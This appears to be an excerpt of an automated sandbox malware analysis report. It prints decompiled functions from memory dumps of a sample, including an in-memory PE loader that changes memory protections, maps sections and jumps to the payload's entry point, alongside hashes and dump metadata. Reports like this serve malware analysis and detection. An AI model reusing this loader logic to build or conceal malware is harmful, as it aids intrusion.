                                                                                                                                              • Instruction Fuzzy Hash: AC328D305083418FD754DFA4CA98AAAB7E4FF94308F108D2DE99987271EB70E949CF52
                                                                                                                                              Uniqueness

                                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                                              C-Code - Quality: 100%
                                                                                                                                              			E6E756D0C() {
                                                                                                                                              
                                                                                                                                              				 *0x6e76d280 = GetUserNameW;
                                                                                                                                              				 *0x6E76D284 = MessageBoxW;
                                                                                                                                              				 *0x6E76D288 = GetLastError;
                                                                                                                                              				 *0x6E76D28C = CreateFileA;
                                                                                                                                              				 *0x6E76D290 = DebugBreak;
                                                                                                                                              				 *0x6E76D294 = FlushFileBuffers;
                                                                                                                                              				 *0x6E76D298 = FreeEnvironmentStringsA;
                                                                                                                                              				 *0x6E76D29C = GetConsoleOutputCP;
                                                                                                                                              				 *0x6E76D2A0 = GetEnvironmentStrings;
                                                                                                                                              				 *0x6E76D2A4 = GetLocaleInfoA;
                                                                                                                                              				 *0x6E76D2A8 = GetStartupInfoA;
                                                                                                                                              				 *0x6E76D2AC = GetStringTypeA;
                                                                                                                                              				 *0x6E76D2B0 = HeapValidate;
                                                                                                                                              				 *0x6E76D2B4 = IsBadReadPtr;
                                                                                                                                              				 *0x6E76D2B8 = LCMapStringA;
                                                                                                                                              				 *0x6E76D2BC = LoadLibraryA;
                                                                                                                                              				 *0x6E76D2C0 = OutputDebugStringA;
                                                                                                                                              				return 0x6e76d280;
                                                                                                                                              			}



                                                                                                                                              0x6e756d1d
                                                                                                                                              0x6e756d25
                                                                                                                                              0x6e756d28
                                                                                                                                              0x6e756d37
                                                                                                                                              0x6e756d3a
                                                                                                                                              0x6e756d49
                                                                                                                                              0x6e756d4c
                                                                                                                                              0x6e756d5b
                                                                                                                                              0x6e756d5e
                                                                                                                                              0x6e756d6d
                                                                                                                                              0x6e756d70
                                                                                                                                              0x6e756d7f
                                                                                                                                              0x6e756d82
                                                                                                                                              0x6e756d91
                                                                                                                                              0x6e756d94
                                                                                                                                              0x6e756da3
                                                                                                                                              0x6e756da6
                                                                                                                                              0x6e756da9

                                                                                                                                              Memory Dump Source
                                                                                                                                              • Source File: 00000000.00000002.1053702891.000000006E751000.00000020.00020000.sdmp, Offset: 6E750000, based on PE: true
                                                                                                                                              • Associated: 00000000.00000002.1053637516.000000006E750000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054610661.000000006E76A000.00000002.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054660765.000000006E76D000.00000004.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000000.00000002.1054725426.000000006E76F000.00000002.00020000.sdmp Download File
                                                                                                                                              Yara matches
                                                                                                                                              Similarity
                                                                                                                                              • API ID:
                                                                                                                                              • String ID:
                                                                                                                                              • API String ID:
                                                                                                                                              • Opcode ID: 7f5eef1d6be69b61425c7e014c74440e37fc4f0b4bd70f18134eb54ddc2490a1
                                                                                                                                              • Instruction ID: bbc0d1edfaae3088a346cb752a4c59a88b09fdc0155ca91408caee5fe8f5f5fb
                                                                                                                                              • Opcode Fuzzy Hash: 7f5eef1d6be69b61425c7e014c74440e37fc4f0b4bd70f18134eb54ddc2490a1
                                                                                                                                              • Instruction Fuzzy Hash: 5E11E3B4915B20CF8B88CF45E1908617BF5FB8D31831181BAD8098B365E734E845CF54
                                                                                                                                              Uniqueness

                                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                                              Executed Functions

                                                                                                                                              C-Code - Quality: 42%
                                                                                                                                              			E030E1D3C(void* __ebx, long __edi, long __esi, intOrPtr* _a4) {
                                                                                                                                              				char _v20;
                                                                                                                                              				intOrPtr _v24;
                                                                                                                                              				intOrPtr _v28;
                                                                                                                                              				intOrPtr _v32;
                                                                                                                                              				intOrPtr _v36;
                                                                                                                                              				intOrPtr _v40;
                                                                                                                                              				char _v44;
                                                                                                                                              				intOrPtr* _v48;
                                                                                                                                              				intOrPtr _v52;
                                                                                                                                              				intOrPtr _v56;
                                                                                                                                              				intOrPtr _v60;
                                                                                                                                              				intOrPtr _v64;
                                                                                                                                              				intOrPtr _v68;
                                                                                                                                              				void* _v72;
                                                                                                                                              				char* _v76;
                                                                                                                                              				int _v80;
                                                                                                                                              				long _v84;
                                                                                                                                              				long _v88;
                                                                                                                                              				DWORD* _v92;
                                                                                                                                              				intOrPtr _v96;
                                                                                                                                              				int _v100;
                                                                                                                                              				intOrPtr* _v104;
                                                                                                                                              				intOrPtr _v108;
                                                                                                                                              				intOrPtr _v112;
                                                                                                                                              				void* _v116;
                                                                                                                                              				intOrPtr _v120;
                                                                                                                                              				char* _v124;
                                                                                                                                              				intOrPtr _v128;
                                                                                                                                              				intOrPtr _v132;
                                                                                                                                              				intOrPtr _v136;
                                                                                                                                              				intOrPtr _v140;
                                                                                                                                              				intOrPtr _v144;
                                                                                                                                              				intOrPtr _v148;
                                                                                                                                              				signed int _v152;
                                                                                                                                              				signed int _v156;
                                                                                                                                              				intOrPtr _v160;
                                                                                                                                              				int _v164;
                                                                                                                                              				intOrPtr _v168;
                                                                                                                                              				intOrPtr _v172;
                                                                                                                                              				intOrPtr _v176;
                                                                                                                                              				char* _v180;
                                                                                                                                              				intOrPtr _v184;
                                                                                                                                              				intOrPtr _v188;
                                                                                                                                              				char _v192;
                                                                                                                                              				intOrPtr* _t141;
                                                                                                                                              				int _t148;
                                                                                                                                              				int _t156;
                                                                                                                                              				int _t160;
                                                                                                                                              				intOrPtr _t170;
                                                                                                                                              				int _t182;
                                                                                                                                              				unsigned int _t204;
                                                                                                                                              				intOrPtr _t224;
                                                                                                                                              				void* _t236;
                                                                                                                                              				intOrPtr _t239;
                                                                                                                                              				void* _t246;
                                                                                                                                              				intOrPtr* _t250;
                                                                                                                                              				intOrPtr _t258;
                                                                                                                                              				DWORD* _t271;
                                                                                                                                              				void* _t275;
                                                                                                                                              				intOrPtr* _t278;
                                                                                                                                              				intOrPtr* _t279;
                                                                                                                                              
                                                                                                                                              				_t141 = _a4;
                                                                                                                                              				_v20 = 0;
                                                                                                                                              				_t246 =  *((intOrPtr*)(_t141 + 0x28));
                                                                                                                                              				 *0x30e4418 = 1;
                                                                                                                                              				asm("movaps xmm0, [0x30e3010]");
                                                                                                                                              				asm("movups [0x30e4428], xmm0");
                                                                                                                                              				_v48 = _t141;
                                                                                                                                              				_v52 =  *((intOrPtr*)(_t141 + 0x38));
                                                                                                                                              				_v56 =  *((intOrPtr*)(_v48 + 0x18));
                                                                                                                                              				_v192 = _t246;
                                                                                                                                              				_v60 =  *((intOrPtr*)(_v48 + 0x10));
                                                                                                                                              				_v188 = _v52;
                                                                                                                                              				_v184 = 4;
                                                                                                                                              				_v180 =  &_v20;
                                                                                                                                              				_v64 =  *((intOrPtr*)(_t141 + 0x4c));
                                                                                                                                              				_v68 = 4;
                                                                                                                                              				_v72 = _t246;
                                                                                                                                              				_v76 =  &_v20;
                                                                                                                                              				_t148 = VirtualProtect(__ebx, __esi, __edi, _t271); // executed
                                                                                                                                              				_v80 = _t148;
                                                                                                                                              				_v192 = _v72;
                                                                                                                                              				_v188 = 0;
                                                                                                                                              				_v184 =  *((intOrPtr*)(_v48 + 0x38));
                                                                                                                                              				_v84 = 0x400;
                                                                                                                                              				_v88 = 2;
                                                                                                                                              				_v92 =  &_v20;
                                                                                                                                              				_v96 = 0;
                                                                                                                                              				E030E140D();
                                                                                                                                              				E030E17BE(_v72,  *((intOrPtr*)(_v48 + 8)), _v56);
                                                                                                                                              				E030E140D( *((intOrPtr*)(_v48 + 8)), 0, _v56);
                                                                                                                                              				_t156 = VirtualProtect(_v72, 0x400, 2, _v92); // executed
                                                                                                                                              				_t278 = _t275 - 0x90;
                                                                                                                                              				_t236 = _v72;
                                                                                                                                              				_t258 =  *((intOrPtr*)(_t236 + 0x3c));
                                                                                                                                              				_v100 = _t156;
                                                                                                                                              				_v104 = _v72 + 0x3c;
                                                                                                                                              				_v108 = _t236;
                                                                                                                                              				_v112 = _t258;
                                                                                                                                              				if(_t258 != 0) {
                                                                                                                                              					_v108 = _v72 + (_v112 + 0x0000ffff & 0x0000ffff) + 1;
                                                                                                                                              				}
                                                                                                                                              				_v168 = _v108;
                                                                                                                                              				if(_v60 != 0) {
                                                                                                                                              					_v144 = 0;
                                                                                                                                              					_v140 = _v168 + 0x18 + ( *(_v168 + 0x14) & 0x0000ffff);
                                                                                                                                              					while(1) {
                                                                                                                                              						_t170 = _v140;
                                                                                                                                              						_t204 =  *(_t170 + 0x24);
                                                                                                                                              						_v148 = _t170;
                                                                                                                                              						_v152 = _t204 >> 0x0000001e & 0x00000001;
                                                                                                                                              						_v156 = _t204 >> 0x1f;
                                                                                                                                              						_v192 = _v72 +  *((intOrPtr*)(_t170 + 0xc));
                                                                                                                                              						_v188 =  *((intOrPtr*)(_v148 + 8));
                                                                                                                                              						_v184 =  *((intOrPtr*)(0x30e4418 + (_v152 << 4) + (_v156 << 3) + ((_t204 >> 0x0000001d & 0x00000001) << 2)));
                                                                                                                                              						_v180 =  &_v20;
                                                                                                                                              						_v160 = _v144;
                                                                                                                                              						_t182 = VirtualProtect(??, ??, ??, ??); // executed
                                                                                                                                              						_t278 = _t278 - 0x10;
                                                                                                                                              						_t224 = _v160 + 1;
                                                                                                                                              						_v164 = _t182;
                                                                                                                                              						_v144 = _t224;
                                                                                                                                              						_v140 = _v148 + 0x28;
                                                                                                                                              						if(_t224 == _v60) {
                                                                                                                                              							goto L8;
                                                                                                                                              						}
                                                                                                                                              					}
                                                                                                                                              				}
                                                                                                                                              				L8:
                                                                                                                                              				 *_t278 = _v72;
                                                                                                                                              				_v120 = _v72 +  *((intOrPtr*)(_v48 + 0x40));
                                                                                                                                              				_t160 = DisableThreadLibraryCalls(??);
                                                                                                                                              				_t279 = _t278 - 4;
                                                                                                                                              				_t239 =  *_v104;
                                                                                                                                              				_v172 = _t160;
                                                                                                                                              				_v176 = _t239;
                                                                                                                                              				_v116 = _v72;
                                                                                                                                              				if(_t239 == 0) {
                                                                                                                                              					L2:
                                                                                                                                              					_t250 = _v48;
                                                                                                                                              					_v44 =  *((intOrPtr*)(_t250 + 4));
                                                                                                                                              					_v40 =  *_t250;
                                                                                                                                              					_v36 =  *((intOrPtr*)(_t250 + 0x3c));
                                                                                                                                              					_v32 =  *((intOrPtr*)(_t250 + 0x20));
                                                                                                                                              					_v28 =  *((intOrPtr*)(_t250 + 0x2c));
                                                                                                                                              					_v24 = _v120;
                                                                                                                                              					 *_t279 = _t250;
                                                                                                                                              					_v192 = 0;
                                                                                                                                              					_v188 = 0x5c;
                                                                                                                                              					_v124 =  &_v44;
                                                                                                                                              					_v128 = 0;
                                                                                                                                              					_v132 = 0x5c;
                                                                                                                                              					_v136 =  *((intOrPtr*)(_v116 + 0x28));
                                                                                                                                              					E030E140D();
                                                                                                                                              					if(_v136 != 0) {
                                                                                                                                              						_t278 =  *((intOrPtr*)( &_v44 + 0x10));
                                                                                                                                              						goto __eax;
                                                                                                                                              					}
                                                                                                                                              					return 1;
                                                                                                                                              				} else {
                                                                                                                                              					_v116 = _v72 + (_v176 + 0x0000ffff & 0x0000ffff) + 1;
                                                                                                                                              					goto L2;
                                                                                                                                              				}
                                                                                                                                              			}
































































                                                                                                                                              0x030e1d48
                                                                                                                                              0x030e1d56
                                                                                                                                              0x030e1d5d
                                                                                                                                              0x030e1d60
                                                                                                                                              0x030e1d6a
                                                                                                                                              0x030e1d71
                                                                                                                                              0x030e1d7b
                                                                                                                                              0x030e1d81
                                                                                                                                              0x030e1d8a
                                                                                                                                              0x030e1d93
                                                                                                                                              0x030e1d96
                                                                                                                                              0x030e1d9c
                                                                                                                                              0x030e1da0
                                                                                                                                              0x030e1da8
                                                                                                                                              0x030e1dac
                                                                                                                                              0x030e1daf
                                                                                                                                              0x030e1db2
                                                                                                                                              0x030e1db5
                                                                                                                                              0x030e1db8
                                                                                                                                              0x030e1dd2
                                                                                                                                              0x030e1dd8
                                                                                                                                              0x030e1ddb
                                                                                                                                              0x030e1de3
                                                                                                                                              0x030e1de7
                                                                                                                                              0x030e1dea
                                                                                                                                              0x030e1ded
                                                                                                                                              0x030e1df0
                                                                                                                                              0x030e1df3
                                                                                                                                              0x030e1e0f
                                                                                                                                              0x030e1e2c
                                                                                                                                              0x030e1e51
                                                                                                                                              0x030e1e53
                                                                                                                                              0x030e1e5c
                                                                                                                                              0x030e1e5f
                                                                                                                                              0x030e1e69
                                                                                                                                              0x030e1e6c
                                                                                                                                              0x030e1e6f
                                                                                                                                              0x030e1e72
                                                                                                                                              0x030e1e75
                                                                                                                                              0x030e1fd2
                                                                                                                                              0x030e1fd2
                                                                                                                                              0x030e204c
                                                                                                                                              0x030e2052
                                                                                                                                              0x030e1fee
                                                                                                                                              0x030e1ff4
                                                                                                                                              0x030e1f07
                                                                                                                                              0x030e1f07
                                                                                                                                              0x030e1f22
                                                                                                                                              0x030e1f25
                                                                                                                                              0x030e1f33
                                                                                                                                              0x030e1f44
                                                                                                                                              0x030e1f70
                                                                                                                                              0x030e1f73
                                                                                                                                              0x030e1f77
                                                                                                                                              0x030e1f7b
                                                                                                                                              0x030e1f82
                                                                                                                                              0x030e1f88
                                                                                                                                              0x030e1f8a
                                                                                                                                              0x030e1f93
                                                                                                                                              0x030e1fa4
                                                                                                                                              0x030e1faa
                                                                                                                                              0x030e1fb0
                                                                                                                                              0x030e1fb6
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x030e1fb8
                                                                                                                                              0x030e1f07
                                                                                                                                              0x030e1fff
                                                                                                                                              0x030e200d
                                                                                                                                              0x030e2015
                                                                                                                                              0x030e2018
                                                                                                                                              0x030e201a
                                                                                                                                              0x030e2020
                                                                                                                                              0x030e202c
                                                                                                                                              0x030e2032
                                                                                                                                              0x030e2038
                                                                                                                                              0x030e203b
                                                                                                                                              0x030e1e80
                                                                                                                                              0x030e1e90
                                                                                                                                              0x030e1e96
                                                                                                                                              0x030e1e9b
                                                                                                                                              0x030e1ea1
                                                                                                                                              0x030e1ea7
                                                                                                                                              0x030e1ead
                                                                                                                                              0x030e1eb3
                                                                                                                                              0x030e1eb6
                                                                                                                                              0x030e1eb9
                                                                                                                                              0x030e1ec1
                                                                                                                                              0x030e1ec9
                                                                                                                                              0x030e1ecc
                                                                                                                                              0x030e1ecf
                                                                                                                                              0x030e1ed2
                                                                                                                                              0x030e1ed8
                                                                                                                                              0x030e1ee6
                                                                                                                                              0x030e1efa
                                                                                                                                              0x030e1f00
                                                                                                                                              0x030e1f00
                                                                                                                                              0x030e206f
                                                                                                                                              0x030e2041
                                                                                                                                              0x030e2093
                                                                                                                                              0x00000000
                                                                                                                                              0x030e2093

                                                                                                                                              APIs
                                                                                                                                              Strings
                                                                                                                                              Memory Dump Source
                                                                                                                                              • Source File: 00000002.00000002.695118650.00000000030E0000.00000040.00000001.sdmp, Offset: 030E0000, based on PE: true
                                                                                                                                              Similarity
                                                                                                                                              • API ID: ProtectVirtual
                                                                                                                                              • String ID: \
                                                                                                                                              • API String ID: 544645111-2967466578
                                                                                                                                              • Opcode ID: 4b101effd586df6aaa58a6d995fe3a0432371f34695feb0c4e475faa4439e181
                                                                                                                                              • Instruction ID: 556ca7a8ba4b8abeeef65c26b6c15587f9131d8febd3373c5e27e8fc4690241e
                                                                                                                                              • Opcode Fuzzy Hash: 4b101effd586df6aaa58a6d995fe3a0432371f34695feb0c4e475faa4439e181
                                                                                                                                              • Instruction Fuzzy Hash: 42B1CFB5E012188FCB14DF59C980A9DFBF1FF88304F1585AAE958AB352D734A981CF91
                                                                                                                                              Uniqueness

                                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                                              APIs
                                                                                                                                              Memory Dump Source
                                                                                                                                              • Source File: 00000002.00000002.695118650.00000000030E0000.00000040.00000001.sdmp, Offset: 030E0000, based on PE: true
                                                                                                                                              Similarity
                                                                                                                                              • API ID: AllocVirtual
                                                                                                                                              • String ID:
                                                                                                                                              • API String ID: 4275171209-0
                                                                                                                                              • Opcode ID: 77a4ce7cbd9b0b6e3dfb75932d68ed1e485d91fe3d93fc30e60a4b16e5e7962b
                                                                                                                                              • Instruction ID: ade6d51e8862e256536e76df038ab8a0a191791641bb2a3b0ce1895133e4c218
                                                                                                                                              • Opcode Fuzzy Hash: 77a4ce7cbd9b0b6e3dfb75932d68ed1e485d91fe3d93fc30e60a4b16e5e7962b
                                                                                                                                              • Instruction Fuzzy Hash: 2441E5B5E0521A9FDB08DF98D490AAEBBF1FF88310F15852EE449AB340D775A844CF81
                                                                                                                                              Uniqueness

                                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                                              Non-executed Functions